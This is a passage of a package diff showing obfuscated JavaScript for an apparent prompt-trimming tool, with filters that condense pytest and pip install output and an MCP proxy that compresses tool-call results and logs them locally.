_0x20596c=a0_0x1abf68,_0x3af3e1=_0x37f847[_0x20596c(0x103)]('\x0a');let _0x5c951e=0x0,_0x1aa3ab=0x0,_0x1c1f9b=0x0;const _0x3821e8=[];let _0xb7fa7a=![];for(const _0x396c6a of _0x3af3e1){const _0x17796c=_0x396c6a[_0x20596c(0xf1)]();if(_0x17796c[_0x20596c(0x10d)](_0x20596c(0xff))||_0x17796c[_0x20596c(0xfa)](_0x20596c(0xee))){const _0x1f6ee1=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+passed/),_0x5980ed=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+failed/),_0x294c48=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+total/);if(_0x1f6ee1)_0x5c951e=parseInt(_0x1f6ee1[0x1]);if(_0x5980ed)_0x1aa3ab=parseInt(_0x5980ed[0x1]);if(_0x294c48)_0x1c1f9b=parseInt(_0x294c48[0x1]);continue;}(_0x17796c['startsWith']('❯')||_0x17796c[_0x20596c(0x10d)]('●')||_0x17796c[_0x20596c(0x10d)](_0x20596c(0x106)))&&(_0xb7fa7a=!![]),_0xb7fa7a&&(_0x17796c['length']>0x0&&!_0x17796c[_0x20596c(0x10d)](_0x20596c(0xf2))&&!_0x17796c[_0x20596c(0x10d)](_0x20596c(0xff))&&_0x3821e8[_0x20596c(0x108)](_0x396c6a));}if(_0x1c1f9b===0x0&&_0x5c951e===0x0&&_0x1aa3ab===0x0){if(_0x37f847[_0x20596c(0xfa)](_0x20596c(0xf5))&&!_0x37f847[_0x20596c(0xfa)](_0x20596c(0xf9))){const _0x2df726=_0x37f847[_0x20596c(0xf8)](/(\d+)\s+passed/),_0x40c5c0=_0x2df726?_0x2df726[0x1]:_0x20596c(0xf0);return _0x20596c(0x10a)+_0x40c5c0+_0x20596c(0xf4);}return _0x37f847;}if(_0x1aa3ab===0x0&&_0x5c951e>0x0)return _0x20596c(0x10a)+_0x5c951e+_0x20596c(0xf4);const _0x4cbba3=[_0x20596c(0x10a)+_0x5c951e+_0x20596c(0xe7)+_0x1aa3ab+_0x20596c(0xeb)+_0x1c1f9b+'\x20total)'];if(_0x3821e8[_0x20596c(0xef)]>0x0){_0x4cbba3[_0x20596c(0x108)]('\x0aFailures:');const _0x135b95=0x19,_0x34ab27=_0x3821e8[_0x20596c(0xfc)](0x0,_0x135b95);for(const _0x499aa1 of _0x34ab27){_0x4cbba3[_0x20596c(0x108)]('\x20\x20'+_0x499aa1);}_0x3821e8[_0x20596c(0xef)]>_0x135b95&&_0x4cbba3[_0x20596c(0x108)](_0x20596c(0x101)+(_0x3821e8[_0x20596c(0xef)]-_0x135b95)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x4cbba3['join']('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2b1bc9=a0_0x5b88;(function(_0x3a19ed,_0x3bfbac){const _0x44341e=a0_0x5b88,_0x4e4539=_0x3a19ed();while(!![]){try{const _0x3f344d=parseInt(_0x44341e(0x126))/0x1*(-parseInt(_0x44341e(0x123))/0x2)+parseInt(_0x44341e(0x130))/0x3+-parseInt(_0x44341e(0x13b))/0x4*(-parseInt(_0x44341e(0x120))/0x5)+parseInt(_0x44341e(0x138))/0x6+parseInt(_0x44341e(0x134))/0x7+parseInt(_0x44341e(0x143))/0x8+-parseInt(_0x44341e(0x137))/0x9;if(_0x3f344d===_0x3bfbac)break;else _0x4e4539['push'](_0x4e4539['shift']());}catch(_0x55b615){_0x4e4539['push'](_0x4e4539['shift']());}}}(a0_0x50a0,0xa094b));function a0_0x50a0(){const _0x306d2d=['\x20more\x20failures\x20truncated','7398461KOFrho','trim','\x20failed','29036277NMblAL','34758WjfdiL','\x20xfailed','failed','847972fKhoJX','filterPytest','\x20\x20\x20\x20...\x20(','===\x20ERRORS\x20===','Downloading','===\x20FAILURES\x20===','match','\x20xpassed\x20(warning!)','8913632jwrsWT','includes','.\x20[FAIL]\x20','replace','join','___','\x20\x20...\x20+','push','split','Pytest:\x20','E\x20\x20\x20','Successfully\x20installed','\x20\x20\x20\x20','30GcWXeG','\x20skipped','filter','39882rysWYC','slice','\x20in\x20','24UIhpNb','length','passed','AssertionError:','__esModule','Collecting','defineProperty','===','filterPipInstall','\x20passed','2741094VDAico','startsWith','===\x20short\x20test\x20summary\x20info\x20==='];a0_0x50a0=function(){return _0x306d2d;};return a0_0x50a0();}Object[a0_0x2b1bc9(0x12c)](exports,a0_0x2b1bc9(0x12a),{'value':!![]}),exports[a0_0x2b1bc9(0x13c)]=filterPytest,exports[a0_0x2b1bc9(0x12e)]=filterPipInstall;function filterPytest(_0x57265d){const _0x19942b=a0_0x2b1bc9,_0x21ff68=_0x57265d[_0x19942b(0x14b)]('\x0a');let _0x3666d6=0x0,_0x52bcb5=0x0,_0x3c1a55=0x0,_0x3f1fa5=0x0,_0x13695c=0x0;const _0x3c68a4=[];let _0x659412=[],_0x2305a7=![];for(const _0x41d405 of _0x21ff68){const _0x2a267f=_0x41d405[_0x19942b(0x135)]();if(_0x2a267f['startsWith'](_0x19942b(0x140))||_0x2a267f[_0x19942b(0x131)](_0x19942b(0x13e))){_0x2305a7=!![];continue;}else(_0x2a267f[_0x19942b(0x131)](_0x19942b(0x132))||_0x2a267f[_0x19942b(0x131)](_0x19942b(0x12d))&&_0x2a267f[_0x19942b(0x144)](_0x19942b(0x128)))&&(_0x2305a7=![],_0x659412['length']>0x0&&(_0x3c68a4[_0x19942b(0x14a)](_0x659412),_0x659412=[]));if(_0x2305a7){if(_0x2a267f[_0x19942b(0x131)](_0x19942b(0x148)))_0x659412[_0x19942b(0x127)]>0x0&&(_0x3c68a4['push'](_0x659412),_0x659412=[]),_0x659412[_0x19942b(0x14a)](_0x2a267f);else _0x2a267f[_0x19942b(0x127)]>0x0&&_0x659412[_0x19942b(0x14a)](_0x41d405);continue;}if(_0x2a267f[_0x19942b(0x131)]('===')&&_0x2a267f[_0x19942b(0x144)](_0x19942b(0x125))){const _0x45b2c7=_0x2a267f['match'](/(\d+)\s+passed/),_0x1d19e7=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+failed/),_0x404711=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+skipped/),_0x444099=_0x2a267f[_0x19942b(0x141)](/(\d+)\s+xfailed/),_0x491374=_0x2a267f['match'](/(\d+)\s+xpassed/);if(_0x45b2c7)_0x3666d6=parseInt(_0x45b2c7[0x1]);if(_0x1d19e7)_0x52bcb5=parseInt(_0x1d19e7[0x1]);if(_0x404711)_0x3c1a55=parseInt(_0x404711[0x1]);if(_0x444099)_0x3f1fa5=parseInt(_0x444099[0x1]);if(_0x491374)_0x13695c=parseInt(_0x491374[0x1]);}}_0x659412['length']>0x0&&_0x3c68a4[_0x19942b(0x14a)](_0x659412);if(_0x3666d6===0x0&&_0x52bcb5===0x0&&_0x3c1a55===0x0&&_0x3f1fa5===0x0&&_0x13695c===0x0){if(_0x57265d['includes'](_0x19942b(0x128))&&!_0x57265d[_0x19942b(0x144)](_0x19942b(0x13a)))return'Pytest:\x20All\x20tests\x20passed';return _0x57265d;}if(_0x52bcb5===0x0&&_0x3666d6>0x0&&_0x3c1a55===0x0&&_0x3f1fa5===0x0&&_0x13695c===0x0)return'Pytest:\x20'+_0x3666d6+_0x19942b(0x12f);const _0x4f623e=[];_0x4f623e[_0x19942b(0x14a)](_0x19942b(0x14c)+_0x3666d6+_0x19942b(0x12f));if(_0x52bcb5>0x0)_0x4f623e[_0x19942b(0x14a)](_0x52bcb5+_0x19942b(0x136));if(_0x3c1a55>0x0)_0x4f623e[_0x19942b(0x14a)](_0x3c1a55+_0x19942b(0x121));if(_0x3f1fa5>0x0)_0x4f623e[_0x19942b(0x14a)](_0x3f1fa5+_0x19942b(0x139));if(_0x13695c>0x0)_0x4f623e[_0x19942b(0x14a)](_0x13695c+_0x19942b(0x142));const _0xf93106=[_0x4f623e[_0x19942b(0x147)](',\x20')];if(_0x3c68a4[_0x19942b(0x127)]>0x0){_0xf93106[_0x19942b(0x14a)]('\x0aFailures:');const _0x880954=0x3,_0x202e35=_0x3c68a4[_0x19942b(0x124)](0x0,_0x880954);for(let _0x421bfb=0x0;_0x421bfb<_0x202e35[_0x19942b(0x127)];_0x421bfb++){const _0x314fda=_0x202e35[_0x421bfb],_0x3147ff=_0x314fda[0x0][_0x19942b(0x146)](/_/g,'')[_0x19942b(0x135)]();_0xf93106[_0x19942b(0x14a)]('\x20\x20'+(_0x421bfb+0x1)+_0x19942b(0x145)+_0x3147ff);const _0x1fad68=_0x314fda[_0x19942b(0x124)](0x1),_0x2a268a=_0x1fad68[_0x19942b(0x122)](_0x1e706f=>{const _0x5ed711=_0x19942b,_0x535ae7=_0x1e706f['trim']();return _0x535ae7['startsWith']('>')||_0x535ae7[_0x5ed711(0x131)](_0x5ed711(0x14d))||_0x535ae7[_0x5ed711(0x144)]('.py:')||_0x535ae7['includes'](_0x5ed711(0x129));});for(const _0x148a63 of _0x2a268a[_0x19942b(0x124)](0x0,0x8)){_0xf93106['push'](_0x19942b(0x14f)+_0x148a63);}_0x2a268a['length']>0x8&&_0xf93106['push'](_0x19942b(0x13d)+(_0x2a268a[_0x19942b(0x127)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x3c68a4[_0x19942b(0x127)]>_0x880954&&_0xf93106[_0x19942b(0x14a)](_0x19942b(0x149)+(_0x3c68a4[_0x19942b(0x127)]-_0x880954)+_0x19942b(0x133));}return _0xf93106[_0x19942b(0x147)]('\x0a');}function a0_0x5b88(_0xd39dc4,_0xc26b92){_0xd39dc4=_0xd39dc4-0x120;const _0x50a03e=a0_0x50a0();let _0x5b881e=_0x50a03e[_0xd39dc4];return _0x5b881e;}function filterPipInstall(_0x32d77f){const _0x15b677=a0_0x2b1bc9,_0x4b8d4d=_0x32d77f['split']('\x0a'),_0x3bf406=[];for(const _0x35f762 of _0x4b8d4d){const _0x372556=_0x35f762[_0x15b677(0x135)]();_0x372556['startsWith'](_0x15b677(0x14e))&&_0x3bf406[_0x15b677(0x14a)](_0x372556);}if(_0x3bf406['length']>0x0)return _0x3bf406[_0x15b677(0x147)]('\x0a');return _0x4b8d4d[_0x15b677(0x122)](_0x5ae0b2=>{const _0x33b9aa=_0x15b677,_0x449fe3=_0x5ae0b2[_0x33b9aa(0x135)]();return!_0x449fe3[_0x33b9aa(0x131)](_0x33b9aa(0x12b))&&!_0x449fe3[_0x33b9aa(0x131)](_0x33b9aa(0x13f))&&!_0x449fe3[_0x33b9aa(0x144)]('Using\x20cached')&&!_0x449fe3['startsWith']('Requirement\x20already\x20satisfied');})[_0x15b677(0x147)]('\x0a')[_0x15b677(0x135)]();}
1
+ 'use strict';const a0_0x154a57=a0_0x181b;(function(_0x160bcc,_0x83f282){const _0x53d181=a0_0x181b,_0x4b7810=_0x160bcc();while(!![]){try{const _0x1a7549=-parseInt(_0x53d181(0x97))/0x1*(parseInt(_0x53d181(0x80))/0x2)+-parseInt(_0x53d181(0x79))/0x3*(-parseInt(_0x53d181(0x6e))/0x4)+parseInt(_0x53d181(0x8a))/0x5*(parseInt(_0x53d181(0x83))/0x6)+parseInt(_0x53d181(0x94))/0x7*(parseInt(_0x53d181(0x8c))/0x8)+-parseInt(_0x53d181(0x78))/0x9*(parseInt(_0x53d181(0x95))/0xa)+parseInt(_0x53d181(0x84))/0xb*(parseInt(_0x53d181(0x75))/0xc)+-parseInt(_0x53d181(0x89))/0xd;if(_0x1a7549===_0x83f282)break;else _0x4b7810['push'](_0x4b7810['shift']());}catch(_0xb57352){_0x4b7810['push'](_0x4b7810['shift']());}}}(a0_0x453e,0xec414));function a0_0x181b(_0x5a00a3,_0x411296){_0x5a00a3=_0x5a00a3-0x6e;const _0x453e5c=a0_0x453e();let _0x181bd2=_0x453e5c[_0x5a00a3];return _0x181bd2;}function a0_0x453e(){const _0x2e8578=['failed','___','4jHdLlG','slice','includes','\x20\x20...\x20+','Successfully\x20installed','match','\x20\x20\x20\x20...\x20(','532332dDGsRi','startsWith','E\x20\x20\x20','9TTqZJV','350976jrohiw','replace','Requirement\x20already\x20satisfied','length','===\x20short\x20test\x20summary\x20info\x20===','===\x20ERRORS\x20===','\x20xfailed','386ZBFrCd','split','.py:','12mTvNSb','132IkcFZP','\x20more\x20failures\x20truncated','\x20passed','Collecting','Downloading','24215074ZSBKzY','3810565dauLWf','\x20failed','6595576VFTKkZ','push','AssertionError:','Using\x20cached','\x20xpassed\x20(warning!)','.\x20[FAIL]\x20','Pytest:\x20','trim','7ClWAdp','1172260PrCISL','filterPytest','261rHtXAq','\x20in\x20','===','join','passed','filter','\x20\x20\x20\x20'];a0_0x453e=function(){return _0x2e8578;};return a0_0x453e();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x154a57(0x96)]=filterPytest,exports['filterPipInstall']=filterPipInstall;function filterPytest(_0x2ea612){const _0x655ca4=a0_0x154a57,_0x1fd485=_0x2ea612['split']('\x0a');let _0x3603b0=0x0,_0x59059e=0x0,_0x342876=0x0,_0x56380c=0x0,_0xab70de=0x0;const _0x298911=[];let _0x2d1985=[],_0x5de16a=![];for(const _0x4ab5ef of _0x1fd485){const _0x24fb27=_0x4ab5ef[_0x655ca4(0x93)]();if(_0x24fb27['startsWith']('===\x20FAILURES\x20===')||_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x7e))){_0x5de16a=!![];continue;}else(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x7d))||_0x24fb27['startsWith'](_0x655ca4(0x99))&&_0x24fb27[_0x655ca4(0x70)](_0x655ca4(0x9b)))&&(_0x5de16a=![],_0x2d1985[_0x655ca4(0x7c)]>0x0&&(_0x298911[_0x655ca4(0x8d)](_0x2d1985),_0x2d1985=[]));if(_0x5de16a){if(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x9f)))_0x2d1985[_0x655ca4(0x7c)]>0x0&&(_0x298911['push'](_0x2d1985),_0x2d1985=[]),_0x2d1985['push'](_0x24fb27);else _0x24fb27['length']>0x0&&_0x2d1985[_0x655ca4(0x8d)](_0x4ab5ef);continue;}if(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x99))&&_0x24fb27[_0x655ca4(0x70)](_0x655ca4(0x98))){const _0x337707=_0x24fb27['match'](/(\d+)\s+passed/),_0x5749a5=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+failed/),_0x2ba780=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+skipped/),_0x149b3c=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+xfailed/),_0x29b839=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+xpassed/);if(_0x337707)_0x3603b0=parseInt(_0x337707[0x1]);if(_0x5749a5)_0x59059e=parseInt(_0x5749a5[0x1]);if(_0x2ba780)_0x342876=parseInt(_0x2ba780[0x1]);if(_0x149b3c)_0x56380c=parseInt(_0x149b3c[0x1]);if(_0x29b839)_0xab70de=parseInt(_0x29b839[0x1]);}}_0x2d1985[_0x655ca4(0x7c)]>0x0&&_0x298911[_0x655ca4(0x8d)](_0x2d1985);if(_0x3603b0===0x0&&_0x59059e===0x0&&_0x342876===0x0&&_0x56380c===0x0&&_0xab70de===0x0){if(_0x2ea612[_0x655ca4(0x70)](_0x655ca4(0x9b))&&!_0x2ea612[_0x655ca4(0x70)](_0x655ca4(0x9e)))return'Pytest:\x20All\x20tests\x20passed';return _0x2ea612;}if(_0x59059e===0x0&&_0x3603b0>0x0&&_0x342876===0x0&&_0x56380c===0x0&&_0xab70de===0x0)return _0x655ca4(0x92)+_0x3603b0+_0x655ca4(0x86);const _0x36b20d=[];_0x36b20d[_0x655ca4(0x8d)](_0x655ca4(0x92)+_0x3603b0+_0x655ca4(0x86));if(_0x59059e>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x59059e+_0x655ca4(0x8b));if(_0x342876>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x342876+'\x20skipped');if(_0x56380c>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x56380c+_0x655ca4(0x7f));if(_0xab70de>0x0)_0x36b20d[_0x655ca4(0x8d)](_0xab70de+_0x655ca4(0x90));const _0x461c60=[_0x36b20d[_0x655ca4(0x9a)](',\x20')];if(_0x298911['length']>0x0){_0x461c60[_0x655ca4(0x8d)]('\x0aFailures:');const _0x2afa73=0x3,_0x48a9db=_0x298911['slice'](0x0,_0x2afa73);for(let _0x4cd06d=0x0;_0x4cd06d<_0x48a9db['length'];_0x4cd06d++){const _0xceb07=_0x48a9db[_0x4cd06d],_0x590708=_0xceb07[0x0][_0x655ca4(0x7a)](/_/g,'')['trim']();_0x461c60['push']('\x20\x20'+(_0x4cd06d+0x1)+_0x655ca4(0x91)+_0x590708);const _0x449189=_0xceb07['slice'](0x1),_0x5d5477=_0x449189[_0x655ca4(0x9c)](_0x47ca41=>{const _0x313e4a=_0x655ca4,_0x135216=_0x47ca41[_0x313e4a(0x93)]();return _0x135216[_0x313e4a(0x76)]('>')||_0x135216['startsWith'](_0x313e4a(0x77))||_0x135216[_0x313e4a(0x70)](_0x313e4a(0x82))||_0x135216[_0x313e4a(0x70)](_0x313e4a(0x8e));});for(const _0xb30f13 of _0x5d5477[_0x655ca4(0x6f)](0x0,0x8)){_0x461c60[_0x655ca4(0x8d)](_0x655ca4(0x9d)+_0xb30f13);}_0x5d5477['length']>0x8&&_0x461c60[_0x655ca4(0x8d)](_0x655ca4(0x74)+(_0x5d5477['length']-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x298911['length']>_0x2afa73&&_0x461c60['push'](_0x655ca4(0x71)+(_0x298911[_0x655ca4(0x7c)]-_0x2afa73)+_0x655ca4(0x85));}return _0x461c60['join']('\x0a');}function filterPipInstall(_0x5d6cdd){const _0x3bb8f5=a0_0x154a57,_0x251e29=_0x5d6cdd[_0x3bb8f5(0x81)]('\x0a'),_0x218eb9=[];for(const _0x15ab09 of _0x251e29){const _0x2a6566=_0x15ab09[_0x3bb8f5(0x93)]();_0x2a6566[_0x3bb8f5(0x76)](_0x3bb8f5(0x72))&&_0x218eb9[_0x3bb8f5(0x8d)](_0x2a6566);}if(_0x218eb9[_0x3bb8f5(0x7c)]>0x0)return _0x218eb9['join']('\x0a');return _0x251e29['filter'](_0x3635a0=>{const _0x4744a3=_0x3bb8f5,_0x2b5b3b=_0x3635a0[_0x4744a3(0x93)]();return!_0x2b5b3b[_0x4744a3(0x76)](_0x4744a3(0x87))&&!_0x2b5b3b['startsWith'](_0x4744a3(0x88))&&!_0x2b5b3b[_0x4744a3(0x70)](_0x4744a3(0x8f))&&!_0x2b5b3b[_0x4744a3(0x76)](_0x4744a3(0x7b));})[_0x3bb8f5(0x9a)]('\x0a')[_0x3bb8f5(0x93)]();}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x43ce73=a0_0x5698;(function(_0x326b24,_0x26be06){const _0x50407e=a0_0x5698,_0x42cc36=_0x326b24();while(!![]){try{const _0x2f7208=-parseInt(_0x50407e(0x15d))/0x1*(parseInt(_0x50407e(0x137))/0x2)+parseInt(_0x50407e(0x163))/0x3*(-parseInt(_0x50407e(0x155))/0x4)+-parseInt(_0x50407e(0x12f))/0x5+-parseInt(_0x50407e(0x135))/0x6*(parseInt(_0x50407e(0x160))/0x7)+parseInt(_0x50407e(0x15c))/0x8+-parseInt(_0x50407e(0x14e))/0x9*(parseInt(_0x50407e(0x14d))/0xa)+parseInt(_0x50407e(0x14f))/0xb*(parseInt(_0x50407e(0x142))/0xc);if(_0x2f7208===_0x26be06)break;else _0x42cc36['push'](_0x42cc36['shift']());}catch(_0x3fe437){_0x42cc36['push'](_0x42cc36['shift']());}}}(a0_0x4de7,0x4b26f));function a0_0x5698(_0x22a70e,_0x97f9c7){_0x22a70e=_0x22a70e-0x12d;const _0x4de7c3=a0_0x4de7();let _0x569899=_0x4de7c3[_0x22a70e];return _0x569899;}function a0_0x4de7(){const _0x1d3a6b=['getOwnPropertyNames','child_process','writable','88160GfJXIB','162SjKPBu','11jIrAGu','tracker','runMcpProxy','2.0','jsonrpc','./filters','434172DJiwDy','text','result','line','stdin','error','readline','1399360pwEjXF','11707whesSH','default','content','427861JWXnEH','string','getConfig','6oFetZS','pipe','compressOutput','599890aLRTzk','exit','prototype','defineProperty','create','parse','18IvbObu','__createBinding','70oqRAIm','get','stdout','mcp-tool-call','spawn','call','__esModule','__importStar','mcp\x20tool\x20(id:\x20','length','logExecution','14661228pgemfC','./tracker','isArray','redaction_enabled','write','stringify','configurable','hasOwnProperty'];a0_0x4de7=function(){return _0x1d3a6b;};return a0_0x4de7();}var __createBinding=this&&this[a0_0x43ce73(0x136)]||(Object[a0_0x43ce73(0x133)]?function(_0x3d9c50,_0xd0d05f,_0x3c2fd8,_0x5b3113){const _0x36e4fc=a0_0x43ce73;if(_0x5b3113===undefined)_0x5b3113=_0x3c2fd8;var _0x26a469=Object['getOwnPropertyDescriptor'](_0xd0d05f,_0x3c2fd8);(!_0x26a469||(_0x36e4fc(0x138)in _0x26a469?!_0xd0d05f[_0x36e4fc(0x13d)]:_0x26a469[_0x36e4fc(0x14c)]||_0x26a469[_0x36e4fc(0x148)]))&&(_0x26a469={'enumerable':!![],'get':function(){return _0xd0d05f[_0x3c2fd8];}}),Object['defineProperty'](_0x3d9c50,_0x5b3113,_0x26a469);}:function(_0x4e49f2,_0x1ada5d,_0x4987e2,_0x4fa75a){if(_0x4fa75a===undefined)_0x4fa75a=_0x4987e2;_0x4e49f2[_0x4fa75a]=_0x1ada5d[_0x4987e2];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x43ce73(0x133)]?function(_0x3c839c,_0x2c7ed0){const _0x4c8231=a0_0x43ce73;Object[_0x4c8231(0x132)](_0x3c839c,'default',{'enumerable':!![],'value':_0x2c7ed0});}:function(_0x2505c6,_0x30ff5e){_0x2505c6['default']=_0x30ff5e;}),__importStar=this&&this[a0_0x43ce73(0x13e)]||(function(){var _0x3c1b4c=function(_0x3bfac6){const _0x300c32=a0_0x5698;return _0x3c1b4c=Object[_0x300c32(0x14a)]||function(_0x106213){const _0x56a6cf=_0x300c32;var _0x11b604=[];for(var _0x37e082 in _0x106213)if(Object[_0x56a6cf(0x131)][_0x56a6cf(0x149)][_0x56a6cf(0x13c)](_0x106213,_0x37e082))_0x11b604[_0x11b604['length']]=_0x37e082;return _0x11b604;},_0x3c1b4c(_0x3bfac6);};return function(_0x1ef485){const _0xe092c9=a0_0x5698;if(_0x1ef485&&_0x1ef485['__esModule'])return _0x1ef485;var _0x76be6c={};if(_0x1ef485!=null){for(var _0x3559ff=_0x3c1b4c(_0x1ef485),_0x20821d=0x0;_0x20821d<_0x3559ff[_0xe092c9(0x140)];_0x20821d++)if(_0x3559ff[_0x20821d]!==_0xe092c9(0x15e))__createBinding(_0x76be6c,_0x1ef485,_0x3559ff[_0x20821d]);}return __setModuleDefault(_0x76be6c,_0x1ef485),_0x76be6c;};}());Object[a0_0x43ce73(0x132)](exports,a0_0x43ce73(0x13d),{'value':!![]}),exports[a0_0x43ce73(0x151)]=runMcpProxy;const child_process_1=require(a0_0x43ce73(0x14b)),readline=__importStar(require(a0_0x43ce73(0x15b))),filters_1=require(a0_0x43ce73(0x154)),tracker_1=require(a0_0x43ce73(0x143));function runMcpProxy(_0x5f3ec6,_0x2f0ddd){const _0x9bc06d=a0_0x43ce73,_0x4c1998=(0x0,child_process_1[_0x9bc06d(0x13b)])(_0x5f3ec6,_0x2f0ddd,{'stdio':['pipe','pipe','inherit']});process[_0x9bc06d(0x159)][_0x9bc06d(0x12d)](_0x4c1998[_0x9bc06d(0x159)]);const _0x521038=readline['createInterface']({'input':_0x4c1998[_0x9bc06d(0x139)],'terminal':![]});_0x521038['on'](_0x9bc06d(0x158),_0xdccfab=>{const _0x882978=_0x9bc06d;try{const _0x2402cb=JSON[_0x882978(0x134)](_0xdccfab);if(_0x2402cb&&_0x2402cb[_0x882978(0x153)]===_0x882978(0x152)&&_0x2402cb['id']!==undefined&&_0x2402cb[_0x882978(0x157)]&&Array[_0x882978(0x144)](_0x2402cb['result'][_0x882978(0x15f)])){let _0x2d23bc=![];for(const _0x4dcb66 of _0x2402cb[_0x882978(0x157)]['content']){if(_0x4dcb66['type']===_0x882978(0x156)&&typeof _0x4dcb66[_0x882978(0x156)]===_0x882978(0x161)&&_0x4dcb66[_0x882978(0x156)]['trim']()['length']>0x0){const _0x1799cd=_0x4dcb66[_0x882978(0x156)],_0x52d54d=(0x0,filters_1[_0x882978(0x12e)])(_0x882978(0x13a),_0x1799cd,'',tracker_1[_0x882978(0x150)][_0x882978(0x162)]()[_0x882978(0x145)]);tracker_1[_0x882978(0x150)][_0x882978(0x141)](_0x882978(0x13f)+_0x2402cb['id']+')',_0x1799cd,_0x52d54d,0x0),_0x4dcb66[_0x882978(0x156)]=_0x52d54d,_0x2d23bc=!![];}}_0x2d23bc?process[_0x882978(0x139)][_0x882978(0x146)](JSON[_0x882978(0x147)](_0x2402cb)+'\x0a'):process[_0x882978(0x139)][_0x882978(0x146)](_0xdccfab+'\x0a');}else process['stdout'][_0x882978(0x146)](_0xdccfab+'\x0a');}catch{process[_0x882978(0x139)][_0x882978(0x146)](_0xdccfab+'\x0a');}}),_0x4c1998['on']('close',_0x5a2ae5=>{const _0x44cb9b=_0x9bc06d;process[_0x44cb9b(0x130)](_0x5a2ae5||0x0);}),_0x4c1998['on'](_0x9bc06d(0x15a),_0x5216c0=>{const _0x443118=_0x9bc06d;console[_0x443118(0x15a)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x5216c0['message']),process[_0x443118(0x130)](0x1);});}
1
+ 'use strict';const a0_0x36e3c8=a0_0x5ae4;function a0_0x5ae4(_0x58656c,_0x199860){_0x58656c=_0x58656c-0x1b2;const _0x314fc6=a0_0x314f();let _0x5ae4eb=_0x314fc6[_0x58656c];return _0x5ae4eb;}(function(_0x436220,_0xacc0fb){const _0x19398c=a0_0x5ae4,_0x42bb6e=_0x436220();while(!![]){try{const _0x35677f=parseInt(_0x19398c(0x1b7))/0x1*(-parseInt(_0x19398c(0x1c1))/0x2)+parseInt(_0x19398c(0x1dc))/0x3*(parseInt(_0x19398c(0x1b4))/0x4)+parseInt(_0x19398c(0x1c3))/0x5*(parseInt(_0x19398c(0x1b2))/0x6)+parseInt(_0x19398c(0x1b5))/0x7+parseInt(_0x19398c(0x1cb))/0x8+-parseInt(_0x19398c(0x1d2))/0x9+-parseInt(_0x19398c(0x1b6))/0xa;if(_0x35677f===_0xacc0fb)break;else _0x42bb6e['push'](_0x42bb6e['shift']());}catch(_0x2c74d1){_0x42bb6e['push'](_0x42bb6e['shift']());}}}(a0_0x314f,0xaf46f));var __createBinding=this&&this['__createBinding']||(Object[a0_0x36e3c8(0x1de)]?function(_0x196236,_0x42cf0f,_0x5491d8,_0x502089){const _0x4a16b1=a0_0x36e3c8;if(_0x502089===undefined)_0x502089=_0x5491d8;var _0x147a5d=Object['getOwnPropertyDescriptor'](_0x42cf0f,_0x5491d8);(!_0x147a5d||(_0x4a16b1(0x1c5)in _0x147a5d?!_0x42cf0f[_0x4a16b1(0x1b9)]:_0x147a5d[_0x4a16b1(0x1d6)]||_0x147a5d['configurable']))&&(_0x147a5d={'enumerable':!![],'get':function(){return _0x42cf0f[_0x5491d8];}}),Object[_0x4a16b1(0x1c2)](_0x196236,_0x502089,_0x147a5d);}:function(_0x28a6cd,_0x58f50f,_0x5d9b3b,_0x740fbb){if(_0x740fbb===undefined)_0x740fbb=_0x5d9b3b;_0x28a6cd[_0x740fbb]=_0x58f50f[_0x5d9b3b];}),__setModuleDefault=this&&this[a0_0x36e3c8(0x1c6)]||(Object[a0_0x36e3c8(0x1de)]?function(_0x3385fc,_0x126d3c){const _0x5a7cb6=a0_0x36e3c8;Object[_0x5a7cb6(0x1c2)](_0x3385fc,'default',{'enumerable':!![],'value':_0x126d3c});}:function(_0x1ff4b8,_0x168921){const _0x1c3757=a0_0x36e3c8;_0x1ff4b8[_0x1c3757(0x1d4)]=_0x168921;}),__importStar=this&&this[a0_0x36e3c8(0x1d0)]||(function(){var _0x44e817=function(_0x256285){const _0x5b65cf=a0_0x5ae4;return _0x44e817=Object[_0x5b65cf(0x1e0)]||function(_0x179e25){const _0x387e42=_0x5b65cf;var _0x2fea9a=[];for(var _0x288c01 in _0x179e25)if(Object[_0x387e42(0x1bd)]['hasOwnProperty'][_0x387e42(0x1ca)](_0x179e25,_0x288c01))_0x2fea9a[_0x2fea9a[_0x387e42(0x1df)]]=_0x288c01;return _0x2fea9a;},_0x44e817(_0x256285);};return function(_0x816d89){const _0x242eaa=a0_0x5ae4;if(_0x816d89&&_0x816d89[_0x242eaa(0x1b9)])return _0x816d89;var _0x2d51d4={};if(_0x816d89!=null){for(var _0x5d17d6=_0x44e817(_0x816d89),_0x58a16c=0x0;_0x58a16c<_0x5d17d6['length'];_0x58a16c++)if(_0x5d17d6[_0x58a16c]!==_0x242eaa(0x1d4))__createBinding(_0x2d51d4,_0x816d89,_0x5d17d6[_0x58a16c]);}return __setModuleDefault(_0x2d51d4,_0x816d89),_0x2d51d4;};}());Object[a0_0x36e3c8(0x1c2)](exports,a0_0x36e3c8(0x1b9),{'value':!![]}),exports[a0_0x36e3c8(0x1dd)]=runMcpProxy;const child_process_1=require(a0_0x36e3c8(0x1b8)),readline=__importStar(require(a0_0x36e3c8(0x1d8))),filters_1=require(a0_0x36e3c8(0x1c8)),tracker_1=require(a0_0x36e3c8(0x1e1));function runMcpProxy(_0x4ee5c4,_0x8df5f){const 